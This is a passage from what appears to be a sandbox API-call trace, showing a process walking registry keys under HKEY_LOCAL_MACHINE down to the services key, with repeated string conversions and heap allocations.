BaseAddress=0x1de5d90) returned 1 [0260.735] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0260.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0260.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.735] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.735] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.735] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.735] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0260.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1de4de0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0260.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.735] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.735] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.735] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.735] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0260.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0260.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.736] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.736] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.736] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.736] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0260.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de4de0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0260.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.736] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.736] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.736] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.736] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0260.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0260.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.736] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.736] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.736] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.736] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x15c) returned 0x0 [0260.736] RegCloseKey (hKey=0x80000002) returned 0x0 [0260.736] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0260.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x1de4de0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0260.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.737] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0260.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x1de4408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0260.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.737] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0260.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0260.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x1de4de0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0260.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.737] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0260.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x1de4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0260.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.738] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.738] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.738] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0260.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x1de4de0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0260.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.738] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.738] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.738] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.738] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0260.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x1de4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0260.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.738] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.738] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.738] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.738] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0260.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de4de0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0260.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.738] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.738] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.738] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.738] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0260.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.739] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x1de4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0260.739] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.739] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.739] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.739] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.739] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0260.739] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0260.739] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x1de4de0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0260.739] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.739] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.739] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.739] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.739] RegOpenKeyExW (in: hKey=0x15c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0260.739] RegCloseKey (hKey=0x15c) returned 0x0 [0260.739] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0260.739] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.739] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0260.739] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.739] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.739] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.739] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.739] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0260.739] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.739] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x1de4de0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0260.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.740] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.740] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.740] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.740] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0260.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0260.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x1de4408, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0260.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.740] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.740] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.740] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.740] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0260.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x1de4de0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0260.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.740] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.740] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.740] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.740] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="services") returned 0x0 [0260.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0260.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.740] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.740] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.740] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.740] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x15c) returned 0x0 [0260.741] RegCloseKey (hKey=0x154) returned 0x0 [0260.741] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0260.741] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.741] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x1de4de0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0260.741] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.741] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.741] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.741] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.741] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0260.741] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0260.741] RtlAllocateHeap (HeapHandle=0x580000, 